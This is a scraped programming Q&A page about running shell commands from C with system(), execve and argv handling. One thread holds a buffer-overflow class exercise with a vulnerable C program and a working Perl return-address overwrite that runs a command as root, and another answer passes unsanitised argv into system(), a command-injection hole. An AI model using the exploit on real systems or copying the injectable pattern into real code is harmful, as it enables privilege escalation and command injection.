I have shell scripts and I need to run that continuous work in background.
For example:
#include <stdio.h>
int main(int argc, char **argv)
{
for (; ;) {
system("./dup -r /root/duptest/");
sleep(60);
}
return 0;
}
It's working and run every minute.
First question: How can I run this background(like & --> ./dup ... &) without put &.
Second question: How can I put shell codes in C source codes?
I found this, Do I need to put \n\ for all lines? It's so hard for edit.
#include <stdio.h>
#include <stdlib.h>
#define SHELLSCRIPT "\
#/bin/bash \n\
echo \"hello\" \n\
echo \"how are you\" \n\
echo \"today\" \n\
"
int main()
{
system(SHELLSCRIPT);
return 0;
}
Third question: How can I use shell parameter in C, like this:
./dup.exe -r /blablabla...
mean
system("./dup -r /blablabla");
I need to use $1 $2 parameter with compiled C program.
Question 1: Look for "how to make a process as deamon process in UNIX" Although daemon process is a overkill for your requirement, you can perform steps until the process is running according to your requirements
Question 3: You need to have command line arguments, check about that. Your main should look like main(int arg_count, char *args_vector[]){...} and in that you can access each command line argument as an array element
Q1: use fork() and don't wait on the child's PID.
Q2: C and C++ will concatenate adjacent string literals, like so:
static const char script[] =
"echo hello\n"
"echo how are you\n"
"echo today"
;
int main(int argc, char* argv[])
{
puts(script); // so you can see what it looks like
// system(script); // <-- uncomment this line to actually run it.
return 0;
}
Q3: use the argc and argv parameters to main() to build the command line you want to execute.
Related
I'm doing a buffer overflow assignment and I'm stuck on the syntax for this command:
$ ./script $(perl -e 'print "A" x 36 . "\x40\x83\x04\x08"' | touch test.txt)
We're expected to use this one liner instead of a shell. The return address is correct and it takes me to the correct place in the assembly, but when I run this, the functions execute as the standard user, instead of running as root.
From what I gather, the issue is either syntax or quotation marks.
How could I correct the one liner?
Source for Script
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
char arg1[60];
char arg2[60];
void func(char *s){
char buf[32];
strcpy(buf, s);
printf("you entered: %s\n", buf);
}
void secret(){
system(arg2);
}
int main(int argc, char *argv[]){
if(argc < 2){
printf("Usage: %s some_string\n", argv[0]);
return 2;
}
strcpy(arg1, argv[1]);
if (argc == 3) {
strcpy(arg2, argv[2]);
}
func(argv[1]);
return 0;
}
I think you the part that says | touch test.txt) is not needed.
./script $(perl -e 'print "A" x 36 . "\x40\x83\x04\x08"') "touch test.txt"
should work.
I am not sure why you are piping the output of the shell script to the touch command (I am assuming the buffer overflow you want to exploit is in the script, and it ends up somehow using the second argument as a parameter to a function).
As in terms of why it's being executed as normal user, in your scenario, your shell was running touch as a normal user. What I think you want to do is run your script as root (either by making it a setuid binary or just running the program with sudo, and make the script actually perform the call to system("touch ...");.
After some tinkering, and a bunch of help from the community, the resolution was to use:
./step4 `perl -e 'print "A" x 36 . "\x94\x84\x04\x08"'` "touch test.txt"
I checked the assembly in gdb, called the correct address for the secret function and by swapping the $() for back ticks, the attack executed as expected. Big thanks to Marco for the help on this one.
default setting
setting changed.
How can I set this in command line?
I'm going to write a c program using system() call.
Thank you.
You can find some documentation on archlinux: https://wiki.archlinux.org/index.php/Vino
From a command line, you would have to type:
gsettings set org.gnome.Vino vnc-password $(echo -n 'mypasswd'|base64)
So, the equivalent C source should be:
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char *argv[])
{
char command[256];
sprintf(command, "gsettings set org.gnome.Vino vnc-password $(echo -n '%s'|base64)", argv[1]);
system(command);
return 0;
}
Note that this code lakes at least:
test that the program is called with one parameter
use snprintf instead of sprintf (to prevent writing to much data in command)
I have a python script script.py which takes command line params
I want to make a wrapper in C so I can call the script.py using ./script args
So far I have this in my script.c file
#include<stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
system("python3.4 script.py");
return 0;
}
How do I modify the script so I can do ./script arg1 arg2 and the C code executes system("python3.4 script.py arg1 arg2");
I don't have experience in C. Above code is from googling
Using system() is needlessly complicated in this case, as it effectively passes the given command string to (forked) sh -c <command>. This means that you'd have to handle possible quoting of arguments etc. when forming the command string:
% sh -c 'ls asdf asdf'
ls: cannot access 'asdf': No such file or directory
ls: cannot access 'asdf': No such file or directory
% sh -c 'ls "asdf asdf"'
ls: cannot access 'asdf asdf': No such file or directory
Note the difference between the unquoted and quoted versions.
I'd suggest using execve(), if executing the python command is the only purpose of your C program, as the exec family of functions do not return on success. It takes an array of const pointers to char as the new argv, which makes handling arguments easier:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define PYTHON "/usr/bin/python3"
#define SCRIPT "script.py"
int
main(int argc, char *argv[])
{
/* Reserve enough space for "python3", "script.py", argv[1..] copies
* and a terminating NULL, 1 + 1 + (argc - 1) + 1 */
int newargvsize = argc + 2;
/* VLA could be used here as well. */
char **newargv = malloc(newargvsize * sizeof(*newargv));
char *newenv[] = { NULL };
newargv[0] = PYTHON;
newargv[1] = SCRIPT;
/* execve requires a NULL terminated argv */
newargv[newargvsize - 1] = NULL;
/* Copy over argv[1..] */
memcpy(&newargv[2], &argv[1], (argc - 1) * sizeof(*newargv));
/* execve does not return on success */
execve(PYTHON, newargv, newenv);
perror("execve");
exit(EXIT_FAILURE);
}
As pointed out by others, you should use the official APIs for this, if at all possible.
You can generate your command as a string. You just need to loop through argv[] to append each parameters given to the C program at then end of your command string. Then you can use your command string as the argument for the system() function.
I'm currently trying to change the process name of a process so I can read the more easily with htop, top, .... I want to LD_PRELOAD this code into another process so it gets renamed by an environemt variable.
I found a lot of stuff in the internet, but nothing works:
prctl(PR_SET_NAME, "Test");
This does not work because htop is not honoring the name.
Nginx setproctitle (Link) doesn't work as well, because it strips the parameters (which are needed by the process).
I tried everything I found and now I'm out of ideas.
Is this even possible in linux? And how?
Just run your program by shell script or your program through exec and pass desired name as argv[0]:
#/bin/bash
exec -a fancy_name a.out ...
or C/C++:
execl( "./a.out", "fancy_name", ... );
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define NEW_NAME "hello_world"
int main(int argc, char **argv) {
if(strcmp(argv[0], NEW_NAME)) {
argv[0] = NEW_NAME;
execv("/proc/self/exe", argv);
fputs("exec failed", stderr);
return 1;
}
while(1) // so it goes to the top
;
}
I have a c program running. I want to make the program sleep for certain period say 5 sec. I want this sleep to be induced from a text file containing command "sleep(5)". I want to pass this file through redirection operator (<) while executing the program
say ./a.out < samplefile.txt
This samplefile.txt contains sleep(5) command in it. I tried the above scenario but the c program is reading it as stream of characters like s,l,e,e,p which is not our intention.
could some one please help me on this issue.
You may make your program read the commands from the text file, parse them and behave as the commands say.
Instead of parsing, you may use the environment variables.
In your program, call to getenv in any place requires configuration. When calling to the program, make sure the environment is set with the required variables, or use this notation:
VAR1=VALUE1 VAR2=VALUE2 ./a.out
I'm not very clear what you want to achieve, but this may be a prompt.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
char buf[512];
scanf("%s", buf);
if (!strcmp(buf, "sleep(5)")) {
printf("sleep...\n");
sleep(5);
}
printf("over\n");
return 0;
}